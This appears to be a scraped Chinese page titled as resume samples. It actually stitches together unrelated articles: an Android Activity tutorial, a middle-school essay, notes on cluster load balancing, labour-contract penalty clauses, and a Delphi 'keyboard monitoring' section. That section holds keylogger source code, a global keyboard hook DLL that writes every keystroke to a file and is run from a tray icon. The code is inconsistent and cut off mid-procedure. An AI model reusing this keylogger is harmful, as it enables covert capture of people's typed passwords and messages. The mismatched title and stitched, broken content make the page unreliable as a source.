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简历详述范文

时间：2022-10-13 08:16:46 简历收藏本文下载本文

简历详述范文（推荐17篇）由网友“汪汪汪”投稿提供，下面是小编整理过的简历详述范文，希望对大家有所帮助。

简历详述范文

篇1：Android Activity 详述

activity类处于android.app包中，继承关系：

extends ContextThemeWrapper

implements LayoutInflater.Factory2 Window.Callback KeyEvent.CallbackView.OnCreateContextMenuListenerComponentCallbacks2

java.lang.Object?android.content.Context?android.content.ContextWrapper?android.view.ContextThemeWrapper?android.app.Activity

Activity 简介

Activity是什么呢？Activity是一个应用程序提供与用户进行交流的界面，每个Activity都可以通过布局来呈现自己的用户界面，一个应用程序通常包括很多Activity，其中有一个被称为主Activity，这是程序第一次启动所展示的，例如很多程序都有的欢迎界面。将Activity设置成主Activity可以通过配置AndroidManifest.xml文件，将如下代码复制到activity的标签之中:

一个Activity可以启动另一个Activity来实现不同的表现，当一个Activity启动后,它被压入一个stack中，获得焦点，当用户按了back按钮后，当前的Activity从stack中弹出（即被destroyed），先前的Activity被释放从新获得焦点。这些涉及到Activity的生命周期，后面将进行讨论。

怎么创建一个Activity呢？通过继承父类Activity，来创建一个属于自己的Activity，这要求你需要实现Activity父类的回调方法，这些方法在Activity的生命周期中的不同状态被调用，如：创建，暂停，释放，销毁。其中有两个最重要的回调方法：

1.onCreate

这个方法在Activity被创建时被调用，在这个方法应该初始化各个控件，通过调用setContentView(R.layout.xxx)方法定义布局来展现Activity的用户界面,其中R.layout.xxx为Activity的XML布局文件。

2.onPause()

这个方法在用户离开当前Activity时被调用，这就需要在这个方法中保存用户与当前Activity的会话，比如在EditText中输入的值。用户在返回当前Activity时，还应该显示离开时所填写的值。

当然每创建一个Activity都需要在AndroidManifest.xml文件中注册一个相应的Activity。如：创建的Activity的类名为：MyActivity则在文件中需添加如下代码：

Activity 的状态及状态间的转换：

在 android 中，Activity 拥有四种基本状态：

Active/Runing一个新 Activity 启动入栈后，它在屏幕最前端，处于栈的最顶端，此时它处于可见并可和用户交互的激活状态。Paused当 Activity 被另一个透明或者 Dialog 样式的 Activity 覆盖时的状态。此时它依然与窗口管理器保持连接，系统继续维护其内部状态，所以它仍然可见，但它已经失去了焦点故不可与用户交互。Stoped当 Activity 被另外一个 Activity 覆盖、失去焦点并不可见时处于Stoped状态。KilledActivity 被系统杀死回收或者没有被启动时处于Killed状态。

当一个 Activity 实例被创建、销毁或者启动另外一个 Activity 时，它在这四种状态之间进行转换，这种转换的发生依赖于用户程序的动作。下图说明了 Activity 在不同状态间转换的时机和条件：

图 1. Activity 的状态转换

如上所示，Android 程序员可以决定一个 Activity 的“生”，但不能决定它的“死”，也就时说程序员可以启动一个 Activity，但是却不能手动的“结束”一个 Activity。当你调用Activity.finish()方法时，结果和用户按下 BACK 键一样：告诉 Activity Manager 该 Activity 实例完成了相应的工作，可以被“回收”。随后 Activity Manager 激活处于栈第二层的 Activity 并重新入栈，同时原 Activity 被压入到栈的第二层，从 Active 状态转到 Paused 状态。例如：从 Activity1 中启动了 Activity2，则当前处于栈顶端的是 Activity2，第二层是 Activity1，当我们调用Activity2.finish()方法时，Activity Manager 重新激活 Activity1 并入栈，Activity2 从 Active 状态转换 Stoped 状态，Activity1. onActivityResult(int requestCode, int resultCode, Intent data)方法被执行，Activity2 返回的数据通过data参数返回给 Activity1。

Activity 栈

Android 是通过一种 Activity 栈的方式来管理 Activity 的，一个 Activity 的实例的状态决定它在栈中的位置。处于前台的 Activity 总是在栈的顶端，当前台的 Activity 因为异常或其它原因被销毁时，处于栈第二层的 Activity 将被激活，上浮到栈顶。当新的 Activity 启动入栈时，原 Activity 会被压入到栈的第二层。一个 Activity 在栈中的位置变化反映了它在不同状态间的转换。Activity 的状态与它在栈中的位置关系如下图所示：

图 2. Activity 的状态与它在栈中的位置关系

如上所示，除了最顶层即处在 Active 状态的 Activity 外，其它的 Activity 都有可能在系统内存不足时被回收，一个 Activity 的实例越是处在栈的底层，它被系统回收的可能性越大。系统负责管理栈中 Activity 的实例，它根据 Activity 所处的状态来改变其在栈中的位置。

Activity 生命周期

在android.app.Activity类中，Android 定义了一系列与生命周期相关的方法，在我们自己的 Activity 中，只是根据需要复写需要的方法.

Activity生命周期图:

下面我们通过一个实例来说明Activity生命周期。新建工程，编写如下代码：

public class MainActivity extends AppCompatActivity { private String TAG = MainActivity; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Log.i(TAG, onCreate); } @Override protected void onResume() { super.onResume(); Log.i(TAG, onResume); } @Override protected void onStart() { super.onStart(); Log.i(TAG, onStart); } @Override protected void onPause() { super.onPause(); Log.i(TAG, onPause); } @Override protected void onStop() { super.onStop(); Log.i(TAG, onStop); } @Override protected void onRestart() { super.onRestart(); Log.i(TAG, onRestart); } @Override protected void onDestroy() { super.onDestroy(); Log.i(TAG, onDestroy); }}我们通过记录操作和打印日志的方式来看看Activity的生命周期过程；

1、运行

看到如下打印日志：

11-26 09:09:33.665 24933-24933/com.jcdh.jcli.activitydemo I/MainActivity: onCreate

11-26 09:09:33.665 24933-24933/com.jcdh.jcli.activitydemo I/MainActivity: onStart

11-26 09:09:33.665 24933-24933/com.jcdh.jcli.activitydemo I/MainActivity: onResume

2、按下返回按键：

11-26 09:30:20.097 24933-24933/com.jcdh.jcli.activitydemo I/MainActivity: onPause

11-26 09:30:20.637 24933-24933/com.jcdh.jcli.activitydemo I/MainActivity: onStop

11-26 09:30:20.637 24933-24933/com.jcdh.jcli.activitydemo I/MainActivity: onDestroy

3、长按Home键，弹出最近打开过的应用程序，点击ActivityDemo

11-26 09:31:07.341 24933-24933/com.jcdh.jcli.activitydemo I/MainActivity: onCreate

11-26 09:31:07.341 24933-24933/com.jcdh.jcli.activitydemo I/MainActivity: onStart

11-26 09:31:07.341 24933-24933/com.jcdh.jcli.activitydemo I/MainActivity: onResume

4、按Home键

11-26 09:31:44.649 24933-24933/com.jcdh.jcli.activitydemo I/MainActivity: onPause

11-26 09:31:45.173 24933-24933/com.jcdh.jcli.activitydemo I/MainActivity: onStop

5、在AllList中点击打开

11-26 09:32:11.793 24933-24933/com.jcdh.jcli.activitydemo I/MainActivity: onRestart

11-26 09:32:11.793 24933-24933/com.jcdh.jcli.activitydemo I/MainActivity: onStart

11-26 09:32:11.793 24933-24933/com.jcdh.jcli.activitydemo I/MainActivity: onResume

通过日志信息，我们可以看到，

Activity的启动过程：onCreate—onStart—onResume；

下返回键时：onPause—onStop—onDestroy 正如上面说是，当按下返回键时，此Activity弹出栈，程序销毁。确实如此；

我们再次打开时的启动过程又回到onCreate—onStart—onResume。OK；

启动之后按下Home键，回到Launcher，查看打印信息：onPause—onStop；

再次打开的运行过程：onRestart—onStart—onResume；

我们通过对Activity的各种操作，构成了Activity的生命周期，我们看到无论对Activity做如何的操作，都会接收到相关的回调方法，那么我们在开发的过程中通过这些回调方法就可以写工作，比如说释放一些重量级的对象，网络连接，数据库连接，文件读等等。

以下是各个方法的详细说明：

onCreate()：当 activity 第一次创建时会被调用。在这个方法中你需要完成所有的正常静态设置，比如创建一个视图（ view ）、绑定列表的数据等等。如果能捕获到 activity 状态的话，这个方法传递进来的 Bundle 对象将存放了 activity 当前的状态。调用该方法后一般会调用 onStart() 方法。

onRestart()：在 activity 被停止后重新启动时会调用该方法。其后续会调用 onStart 方法。

onStart() 当 activity 对于用户可见前即调用这个方法。如果 activity回到前台则接着调用 onResume() ，如果 activity 隐藏则调用onStop()

onResume()：在 activity 开始与用户交互前调用该方法。在这时该activity 处于 activity 栈的顶部，并且接受用户的输入。其后续会调用 onPause() 方法。

onPause()：在系统准备开始恢复其它 activity 时会调用该方法。这个方法中通常用来提交一些还没保存的更改到持久数据中，停止一些动画或其它一些耗 CPU 的操作等等。无论在该方法里面进行任何操作，都需要较快速完成，因为如果它不返回的话，下一个 activity 将无法恢复出来。如果 activity 返回到前台将会调用 onResume() ，如果 activity 变得对用户不可见了将会调用onStop() 。

onStop()：在 activity 对用户不可见时将调用该方法。可能会因为当前 activity 正在被销毁，或另一个 activity （已经存在的activity 或新的 activity ）已经恢复了正准备覆盖它，而调用该方法。如果 activity 正准备返回与用户交互时后续会调用onRestart ，如果 activity 正在被释放则会调用 onDestroy 。

onDestroy()：在 activity 被销毁前会调用该方法。这是 activity 能接收到的最后一个调用。可能会因为有人调用了 finish 方法使得当前activity 正在关闭，或系统为了保护内存临时释放这个 activity的实例，而调用该方法。你可以用 isFinishing 方法来区分这两种不同的情况。

启动另外一个 Activity

要启动一个新的Activity，我们可以通过调用 startActivity来启动例：

Intent intent =new Intent(CurrentActivity.this,OtherActivity.class); startActivity(intent);

注意：OtherActivity同样在 AndroidManifest.xml 中定义。

Activity 之间通信使用 Intent 通信

在 Android 中，不同的 Activity 实例可能运行在一个进程中，也可能运行在不同的进程中。因此我们需要一种特别的机制帮助我们在 Activity 之间传递消息。Android 中通过 Intent 对象来表示一条消息，一个 Intent 对象不仅包含有这个消息的目的地，还可以包含消息的内容，这好比一封 Email，其中不仅应该包含收件地址，还可以包含具体的内容。对于一个 Intent 对象，消息“目的地”是必须的，而内容则是可选项。

在上面的实例中通过Activity. startActivity(intent)启动另外一个 Activity 的时候，我们在 Intent 类的构造器中指定了“收件人地址”。

我们通过bundle对象来传递信息，bundle维护了一个HashMap对象，将我们的数据存贮在这个 HashMap 中来进行传递。但是像上面这样的代码稍显复杂，因为 Intent 内部为我们准备好了一个bundle，所以我们也可以使用这种更为简便的方法：

Intent intent =new Intent(MainActivity.this,OtherActivity.class); intent.putExtra(boolean_key, true); intent.putExtra(string_key, string_value); startActivity(intent);

接收：

Intent intent=getIntent(); intent.getBooleanExtra(boolean_key,false); intent.getStringExtra(string_key);

Activity 的 Intent Filter

ntent Filter 描述了一个组件愿意接收什么样的 Intent 对象，Android 将其抽象为 android.content.IntentFilter 类。在 Android 的 AndroidManifest.xml 配置文件中可以通过节点为一个 Activity 指定其 Intent Filter，以便告诉系统该 Activity 可以响应什么类型的 Intent。

当程序员使用 startActivity(intent) 来启动另外一个 Activity 时，如果直接指定 intent 了对象的 Component 属性，那么 Activity Manager 将试图启动其 Component 属性指定的 Activity。否则 Android 将通过 Intent 的其它属性从安装在系统中的所有 Activity 中查找与之最匹配的一个启动，如果没有找到合适的 Activity，应用程序会得到一个系统抛出的异常。这个匹配的过程如下：

图 4. Activity 种 Intent Filter 的匹配过程

Action 匹配

Action 匹配Action 是一个用户定义的字符串，用于描述一个 Android 应用程序组件，一个 Intent Filter 可以包含多个 Action。在 AndroidManifest.xml 的 Activity 定义时可以在其节点指定一个 Action 列表用于标示 Activity 所能接受的“动作”，例如：

……

如果我们在启动一个 Activity 时使用这样的 Intent 对象：

Intent intent =new Intent(); intent.setAction(com.zy.myaction);

那么所有的 Action 列表中包含了“com.zy.myaction”的 Activity 都将会匹配成功。

Android 预定义了一系列的 Action 分别表示特定的系统动作。这些 Action 通过常量的方式定义在android.content. Intent中，以“ACTION_”开头。我们可以在 Android 提供的文档中找到它们的详细说明。

URI 数据匹配

一个 Intent 可以通过 URI 携带外部数据给目标组件。在节点中，通过节点匹配外部数据。

mimeType 属性指定携带外部数据的数据类型，scheme 指定协议，host、port、path 指定数据的位置、端口、和路径。如下：

如果在 Intent Filter 中指定了这些属性，那么只有所有的属性都匹配成功时 URI 数据匹配才会成功。

Category 类别匹配

节点中可以为组件定义一个 Category 类别列表，当 Intent 中包含这个列表的所有项目时 Category 类别匹配才会成功。

一些关于 Activity 的技巧

锁定 Activity 运行时的屏幕方向

Android 内置了方向感应器的支持。在 G1 中，Android 会根据 G1 所处的方向自动在竖屏和横屏间切换。但是有时我们的应用程序仅能在横屏 / 竖屏时运行，比如某些游戏，此时我们需要锁定该 Activity 运行时的屏幕方向，节点的android:screenOrientation属性可以完成该项任务，示例代码如下：

// 竖屏 , 值为 landscape 时为横屏…………

全屏的 Activity

要使一个 Activity 全屏运行，可以在其onCreate()方法中添加如下代码实现：

// 设置全屏模式 getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN); // 去除标题栏 requestWindowFeature(Window.FEATURE_NO_TITLE);

设置Activity 的 Title

setTitle(我的);

实现双击返回键退出功能：

private long exitTime = 0;@Overridepublic boolean onKeyDown(int keyCode, KeyEvent event) { if(keyCode == KeyEvent.KEYCODE_BACK && event.getAction() == KeyEvent.ACTION_DOWN){ if((System.currentTimeMillis()-exitTime) > ){ Toast.makeText(getApplicationContext(), 再按一次退出程序, Toast.LENGTH_SHORT).show(); exitTime = System.currentTimeMillis(); } else {finish();System.exit(0); } return true; } return super.onKeyDown(keyCode, event);}

篇2：详述脚本攻击

说明：本文类属技术探讨，没有兀现测试站点的必要，故将相关信息隐去，

详述脚本攻击

，

武学之中，出其不意、剑走偏锋才能发挥灵巧之长。在防火墙广泛地应用于网络之间执行访问控制策略的今天，以往被漠视的CGI安全悄然兴起，形形色色的脚本攻击在防火墙的认同下大行其道，

篇3：详述回忆初中作文

详述回忆初中作文

随着时间的推移一切的一切都成为了历史都成为了昨天，一切都成为了回忆，终有一天它们也会像昨天的昨天那样尘封在我记忆的记忆的宝盒里。异常清晰却又是那么的模糊。

这一年发生了太多改变了太多由那么多的泪水与欢笑组成。我长大了，长高了懂事了，不用再上那令人想起就想哭的奥数班了……最重要的是我不再是小学生了我变成了一名中学生爱知中学的学生，我不知道这是应该令人欢喜还是令人愁。告别了小学相处六年的同窗好友，又再新的环境中得到了锻炼也明白了自己与别人的差距。愁是因为尽管已经与现在的同学相处了一个学期了但却找不到曾经美好的那种感觉，许多人多感觉十分的假甚至说连我自己都那么的假，我给自己的外面套着一层透明的保护壳看着外面的世界充满了未知与迷茫。

记得小学快毕业的时候我们都感叹年少的季节走的是那么的匆忙等我们真正的走向成熟的思想却发现彼此留下的是那么的少却已经毕业了。感叹曾经的无知与愚昧不懂得珍惜确实那么的任性。也曾望着浩瀚天空说是一定在将来要去珍惜身边的所有人。毕业典礼上老师又语重心长的唠叨了许多听的.耳朵已经长茧的话但是第一次这么用心的去听第一次用心去思考老师说的话第一次用心回忆我们在一起的时光突然发现自己原来还有这么多一直隐藏在心中的回忆宝藏。毕业的时候大家都强忍着眼眶内早已挣扎依旧的眼泪，心里一想到要各奔东西就酸酸的涩涩的有一种说不出道不明的感觉是那么的强烈，而对于我来说这是我第一次真正的感到离别的痛苦因为我想对于我们每一个人来说这个集体都像是一个家一个大家一个让我们感到温暖感到友情与师情的家，家里的所有人没有一点血缘关系却互相关心着。记得原来在三个班中鬼点子最多同时又最乖的就是我们班老师们最喜欢的就是我们班，成绩最好的，个性最强烈的……

假期是那么的短暂很快我进入了一个新的集体也搬了家。这个集体刚开始我的心里充满了无助感一切都是陌生的，冷冰冰的，操场比小学的大许多但却令我感到厌恶，老师也是新的，同学也是新的一切都是新的，这也是我从出生到现在第一次讨厌新的而且那种感觉是那么的强烈，我安慰自己会好的面包会有的牛奶也会有的大家会接纳你这个来自外太空的新型生物的。于是白羊座的我不再像原来那么的放纵自己而是约束着自己，我像是被捆绑了起来无论如何挣脱都挣脱不掉身上的枷锁，每天早晨进到教室不再有那么多友好的笑脸不再会得到那么多的问候声也再也不会有人亲昵的叫我一声；“熊猫。”或者“黏黏。”了。有时突然好像听见有人这么叫我刚一回头我就冷静下来了，冷冷的笑了笑摇摇头望着发灰的昏暗的天空自言自语的说一句；“呵呵真是傻。”慢慢地有一点点习惯了这样的灰色寂寞。晚上躺在床上静静的看着天花板偶尔也会趴在窗前看朦胧的月。还是因为时间我渐渐的交了一些朋友虽说她们不能让我停止对曾经的向往但仍旧可以让我受伤的心灵得到一点安慰我不再是那么的寂寞了渐渐看到了一丝光芒虽然那粒光亮米粒般大小但却照亮了我早以沉睡的对未来的希望。我傻傻的笑了笑不知道是因为幸福还是因为在孤单中得到一丝温暖所以有所感慨吧。

每次看到板报我就不由得会笑，笑什么？笑我最后一次给班里办板报真的真的用心了，得了第一没有给自己带来遗憾。

篇4：详述如何进行键盘监控

一、Hook(钩子)的实现：

Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制，如果Hook过程在应用程序中实现，若应用程序不是当前窗口时，该Hook就不起作用;如果Hook在DLL中实现，程序在运行中动态调用它，它能实时对系统进行监控。根据需要，我们采用的是在DLL中实现Hook的方式。

1.新建一个导出两个函数的DLL文件，在hookproc.pas中定义了钩子具体实现过程。代码如下:

library keyspy;

uses

windows, messages, hookproc in ’hookproc.pas’;

exports

setkeyhook,

endkeyhook;

begin

nexthookproc:=0;

procsaveexit:=exitproc;

exitproc:=@keyhookexit;

end.

2.在Hookproc.pas中实现了钩子具体过程:

unit hookproc;

interface

uses

Windows, Messages, SysUtils, Controls, StdCtrls;

var

nexthookproc:hhook;

procsaveexit:pointer;

function keyboardhook(icode:integer;wparam:wparam;

lparam:lparam):lresult;stdcall;export;

function setkeyhook:bool;export;//加载钩子

function endkeyhook:bool;export;//卸载钩子

procedure keyhookexit;far;

const

afilename=’c:debug.txt’;//将键盘输入动作写入文件中

var

debugfile:textfile;

implementation

function keyboardhookhandler(icode:integer;wparam:wparam;

lparam:lparam):lresult;stdcall;export;

begin

if icode<0 then

begin

result:=callnexthookex(hnexthookproc,icode,wparam,lparam);

exit;

end;

assignfile(debugfile,afilename);

append(debugfile);

if getkeystate(vk_return)<0 then

begin

writeln(debugfile,’’);

write(debugfile,char(wparam));

end

else

write(debugfile,char(wparam));

closefile(debugfile);

result:=0;

end;

function endkeyhook:bool;export;

begin

if nexthookproc0 then begin

unhookwindowshookex(nexthookproc);

nexthookproc:=0;

messagebeep(0); end;

result:=hnexthookproc=0;

end;

procedure keyhookexit;far;

begin

if nexthookproc0 then endkeyhook;

exitproc:=procsaveexit; end;

end.

二、Win95/98使用任务栏右方指示区来显示应用程序或工具图标对指示区图标的操作涉及了一个API函数Shell_NotifyIcon，

电脑资料

它有两个参数，一个是指向TnotifyIconData结构的指针，另一个是要添加、删除、改动图标的标志。

通过该函函数将应用程序的图标添加到指示区中，使其作为图标运行,增加专业特色。当程序起动后，用鼠标右键点击图标，则弹出一个菜单，可选择sethook或endhook。

unit kb;

interface

uses

Windows, Messages, SysUtils, Classes,

Graphics, Controls, Forms,

Dialogs,

StdCtrls, Menus,shellapi;

const

icon_id=1;

MI_iconevent=wm_user+1;//定义一个用户消息

type

TForm1 = class(TForm)

PopupMenu1: TPopupMenu;

sethook1: TMenuItem;

endhook1: TMenuItem;

N1: TMenuItem;

About1: TMenuItem;

Close1: TMenuItem;

Gettext1: TMenuItem;

procedure FormCreate(Sender: TObject);

procedure sethook1Click(Sender: TObject);

procedure endhook1Click(Sender: TObject);

procedure FormDestroy(Sender: TObject);

procedure Close1Click(Sender: TObject);

private

{ Private declarations }

nid:tnotifyicondata;

normalicon:ticon;

public

{ Public declarations }

procedure icontray(var msg:tmessage);

message mi_iconevent;

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

function setkeyhook:bool;external ’keyspy.dll’;

function endkeyhook:bool;external ’keyspy.dll’;

procedure tform1.icontray(var msg:tmessage);

var

pt:tpoint;

begin

if msg.lparam=wm_lbuttondown then

sethook1click(self);

if msg.LParam=wm_rbuttondown then

begin

getcursorpos(pt);

setforegroundwindow(handle);

popupmenu1.popup(pt.x,pt.y);

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

normalicon:=ticon.create;

application.title:=caption;

nid.cbsize:=sizeof(nid);

nid.wnd:=handle;

nid.uid:=icon_id;

nid.uflags:=nif_icon or nif_message or nif_tip;

nid.ucallbackmessage:=mi_iconevent;

nid.hIcon :=normalicon.handle;

篇5：详述集群负载均衡

集群中使用负载均衡技术已经是大家所熟知的事情了，那么，这两者的关系式如何发展而来的呢？这就让我们一起来看看吧，首先我们来说下我们的系统设计需求，以及集群的概念，然后是对负载均衡的解释。

Tomcat5自带一个基于规则的负载均衡应用。根据两种负载均衡策略(扩展自规则API，分别是round-robin和random算法)来重定向进入的请求。讲述运行在集群环境中的样例Web应用的性能评测。通过负载测试工具JMeter模拟多个Web用户的方式来研究负载均衡机制。

◆大型系统的设计

企业级的Web门户应用必须提供可升级能力(scalability)和高可用性(HA)，在同一个网站下为数以百万计的用户提供服务。可升级是系统可以通过增加服务器来支持更多的数量的用户。高可靠性是系统提供基本的冗余能力。在集群中的某个成员失效时，其他成员能透明的接替处理对Web服务的请求。在集群的环境中部署一个Web门户应用能提供门户网站需要的可升级和高可用性的能力。基本上，集群的主要目的是防止某些站点出现当机的问题，应付系统的单点失效。

大型系统的设计目的是在企业应用环境中提供稳定的服务，确保最少的当机时间和最大的可升级能力。运行的不是单一的服务器，有多个协作服务器也同时在运行。为了达到可升级的能力，集群能任意增加机器数量，而为了最少的当机时间，集群中每一个组件都是可冗余的。大型系统的主要因素就是集群，包含负载均衡。容错。session状态持久化等特性。在集群中，通常负载均衡器(硬件或软件)布置在应用服务器的前面。这些负载均衡器通过使用重定向Web交易到相应的集群成员来在集群的节点内分发负载，并且在同时检查集群内是否有服务器失效。

◆集群

集群的定义好比一组应用服务器透明的运行J2EE应用，就象在一台机器上执行一样，

有两种方式的集群:垂直缩放和水平缩放。垂直缩放可以通过提高单台机器上的运行服务的数量来达到，水平缩放就要提高集群内机器的数量。水平缩放比垂直缩放更可靠。使用垂直缩放，机器的处理能力。CPU的使用情况和JVM堆内存配置都是决定应该在这台机器上运行多少的服务器实例的主要因素(众所周知的server-to-cpu比率)。

J2EE集群内的服务器一般使用三种配置选项的一种:

独立(independent)，每个服务都有属于自己的一份应用程序文件的拷贝;

共享文件系统(sharedfilesystem)，集群内所有的服务器拥有一个共同的存储设备，所有服务器的应用文件都是从该设备取得;

第三方的配置方法(managed)，有一台管理服务器控制对应用内容的访问，通过“pushing“相应的应用内容到管理服务器作为响应。管理服务器能保证集群中所有的成员的应用有效。当部署应用时，所有的服务器都会更新，而反部署时，所有的服务器都会将应用删除。

集群可以在J2EE应用的各个层次使用，包括数据层。一些数据库提供商提供集群数据库，支持多个数据库服务器中的数据复制。客户透明访问(servlet容器或者应用服务器无须知道从那个数据库服务器中取的数据)。JDBC集群的例子是Oracle9i'sRealApplicationClusters(RAC)和集群JDBC(C-JDBC)。RAC支持数据库连接的失败重启。透明变更JDBC连接。请求到一台恢复后的数据库节点。C-JDBC是一个开放源的数据库集群，允许Web应用通过JDBC透明的访问数据库集群。实现数据库节点内的负载均衡和失败重启。

篇6：详述劳动合同的违约金

违约金，是现代民法体系中为实现诚实信用原则、保证合同履行而发展出来的一个重要工具。违约金是依法强制违约方向对方支付一定数额货币的一种经济制裁，一般在合同的约定条款中载明。

一般学者认为，违约金具有补偿性和惩罚性双重性质。惩罚性违约金具有惩戒作用，不论是否存在经济损失，违约方均应支付，且违约方在支付惩罚性违约金后，仍需承担继续履行合同和赔偿损失的责任；赔偿性违约金是双方当事人预先估算的因一方违约给对方造成的经济损失的总额，违约方支付赔偿性违约金，不再承担继续履行合同或赔偿损失的责任。

民法属于私法领域，具有惩罚性质的违约金在民法领域适用并无不当。而劳动法兼有公法和私法的性质，属于社会法。社会法是以一种特殊的标准衡量当事人的地位及分配利益。这些特殊的标准源于社会弱者的“身份”认定，是以特殊身份来决定利益的分配，使这种分配结果有利于具有“弱势身份”的一方。社会法正是以调整主体的不平等关系为己任，注重实质平等。因为劳动法上存在强势主体和弱势群体之分，违约金一旦适用，极易被强势主体所滥用。所以，在劳动合同立法时，只有首先确定该违约金条款的性质，才能更有利于保护劳动者的权利，更有利于劳动纠纷的解决。

劳动合同中该不该设立违约金

辞职需付违约金

小杨是上海某大学理工科的大学生，毕业后留在上海工作。他与上海市某通信器材公司签订了劳动合同，岗位是系统部技术员，合同约定期限是5月17日至5月17日，月工资是1300元。由于小杨工作积极，公司很器重他，19底出资让他去国外进行培训，双方约定变更合同，将小杨提升为系统部现场技术工程师，并将合同期限延长至7月30日止，未约定月工资。

但小杨在新岗位工作了一段时间后，发现工作量反而没有以前多，比较清闲。而小杨是个闲不住的人，他认为这样会让自己产生惰性，对自己技能的提高不利。于是，经过一番思考，小杨作出了一个决定：他于6月16日，以“系统部工作量少，今年1至6月无事可做，有很大的危机感”等为由提出辞职。而公司方觉得小杨是个不可多得的人才，作为公司的人才资源，可以为公司带来更大的经济效益，便拒绝了小杨的辞职请求。但小杨坚持要走，公司见无法挽留，提出因小杨合同期限未满就提出提前解除劳动合同，是违约行为，应向公司支付18000元培训费及违约金作为违约责任的承担。小杨认为这个数额太大，无法接受。于207月23日向公司提交书面申请，要求减免违约金数额，同意支付元至3000元。公司接到申请书后表示同意，要求小杨支付违约金3000元。小杨支付后，公司给其出具了退工通知单。小杨与公司终止了合同。

然而，小杨事后越想越委屈，他觉得企业索取的违约金于法于理都无据，就向法院提起了诉讼，要求返还违约金3000元。小杨认为，最初签订的劳动合同中并未约定违约金，而后更改的合同中亦未约定。公司要求其支付违约金没有根据，所以要求返还其已支付的3000元违约金。

公司则认为，违约金是小杨和公司共同协商的结果，小杨当初提出减免的要求表示其已接受违约金作为提前解除劳动合同的责任承担方式。而且有小杨提交的书面申请为证，这个申请和公司对申请的同意，相当于合同要约和承诺过程。所以，对于小杨要求返还3000元违约金的要求不予接受。

法院经过一审、二审的审理，认为公司在小杨提出辞职后，通知其支付违约金18000元，小杨通过书面形式与公司协商，最后他实际支付违约金3000元，此数额小杨在其书面申请报告中亦已明确表示认可，此可视为双方协商的结果。现小杨请求判令公司返还违约金，理由不足，不予支持。

违反合同判赔偿

违约金是指当事人在合同中约定或者由法律所规定的，一方违约时向对方支付一定数量的货币，是合同法中违约责任的一种主要形式。劳动合同中是否可以约定违约金条款？其法律效力如何？我国《劳动法》对此并没有明确规定。这次由国务院法制办起草的《劳动合同法》（草案）对违约金进行了规定。近几年，在实践中，在劳动合同中约定违约金条款和解除劳动合同中双方因违约金条款约定的内容发生的争议越来越多。但是，由于劳动合同与民事合同存在较大的区别，劳动合同的违约金的适用范围、劳动合同的违约金的性质以及劳动合同违约金的支付标准等都具有其特殊性，值得进一步的探讨。

《劳动法》并没有规定违约金可以作为劳动合同的违约责任的责任形式之一。但是，在我国的部门规章和一些地方性法规中对违约金作为劳动合同的违约责任的责任形式作了明确规定。比如说《上海市劳动合同条例》第17条规定，劳动合同对劳动者的违约行为设定违约金的，仅限于下列情形：（1）违反服务期约定的；（2）违反保守商业秘密约定的。违约金数额应当遵循公平、合理的原则约定。在上述案例中，小杨违反了劳动合同关于合同期限的约定，如果小杨和公司在劳动合同中约定了如果一方违反合同，则支付给对方一定数额的违约金。小杨违反合同的约定提前解除合同，是属于《上海市劳动合同条例》第17条的规定中违反服务期约定的情形，可以自由约定违约金作为违约责任的承担方式。

学者争鸣

在关于我国未来的《劳动合同法》中是否应规定当事人可以约定违约金这个问题上基本形成了两派观点：一派主张合同双方可以约定违约金条款，如有学者认为：“违约金的约定有其合理性，尤其是在用人单位与劳动者订立劳动合同、确立劳动关系后，能在一定程度上起到约束合同当事人积极履约的作用。”也有学者认为：“应规定许可劳动合同当事人在不违反法律的前提下，在一定的程度上有自由约定违约责任的权利；当事人可事先约定违约金的具体数额、幅度和赔偿经济损失的计算方法等的权利。”另外：“违约金和赔偿金条款是劳动合同当事人违约不履行合同时，双方约定的违约方应承担的经济责任条款。”还有学者认为：“双方可以约定不履行合同而应支付违约金和赔偿金的条款”等等。

另一派观点主张劳动合同双方地位是不平等的，违约金条款不应载入劳动合同中，如：“在劳动合同中对劳动者不当解除劳动合同的情况预定违约金是不太合适的”，“尽管违约金或损害赔偿预定制度在民法上是允许的，但劳动合同附和化的性质决定了在非对等的劳动合同关系中应被禁止。”

还有学者认为，目前《上海市劳动合同条例》规定，劳动者和用人单位可以在合同中约定违约金，在实践中可以起到约束双方遵守劳动合同的作用，在实践中大量的劳动合同也设立了约定违约金的条款，已经成为违约方承担劳动法律责任的一种重要方式。当然也存在违约金数额约定不当等问题，但是目前劳动合同中违约金条款出现的一些问题，乃至其所带来的一些负面影响，只是一项法律制度发展过程中所伴生的正常现象，完全可以通过制度本身的不断发展与完善而加以克服。

篇7：详述劳动合同的违约金

劳动合同中的违约金条款既是一种违约责任的形式，又是一种独特的担保方式，对劳动合同的履行有重大的意义。依据违约金发生的原因的不同，可将其分为约定违约金和法定违约金，从性质上看，违约金可分为赔偿性违约金和惩罚性违约金。赔偿性违约金是指当事人双方预先估计的损害赔偿总额，又称为损害赔偿额的预定。此种违约金不能与违约损害赔偿同时主张，因为该违约金的功能就在于弥补一方违约后造成的损失，如果违约金数额低于损失的，可以适当增加，反之，如果高于损失的，可以适当减少。

法律应明确规定非违约方如果是用人单位，则该用人单位应承担劳动者所造成的损害的举证责任。如果用人单位无法举证证明劳动者对其造成了损害，则违约金条款不能法适用，劳动者不承担支付违约金的责任。惩罚性违约金是指当事人对于违约所约定的一种私的制裁，故又称为违约罚。此种违约金的功能在于其强烈的惩罚性，违约方承担违约金的责任后，还要承担其他一切的违约责任。此种违约金是对违约方一种额外的处罚。显然，惩罚性违约金的运用很容易损害违约方的权利，并使合同相对方获得不正当的利益，违背合同法的公平原则。我国《合同法》第114条的规定即为赔偿性违约金，如果当事人对违约金约定不明，则推定为赔偿性违约金。

篇8：详述劳动合同的违约金

约定违约金的基本原则：一是违约金的数额应考虑双方当事人（特别是劳动者）的承受能力；二是约定违约金时双方要对等。违约金的数额的设定都要求应当遵循公平原则，根据劳动者的劳动报酬等因素合理确定。

根据《北京市劳动合同规定》：“劳动者向用人单位支付的违约金最多不得超过本人解除劳动合同前12个月的工资总额。”

但是，《上海市劳动合同条例》只作了原则性的规定：“约定的违约金数额畸高的，当事人可以要求适当减少。双方当事人因违约金发生争议的，可以按劳动争议处理程序解决。”

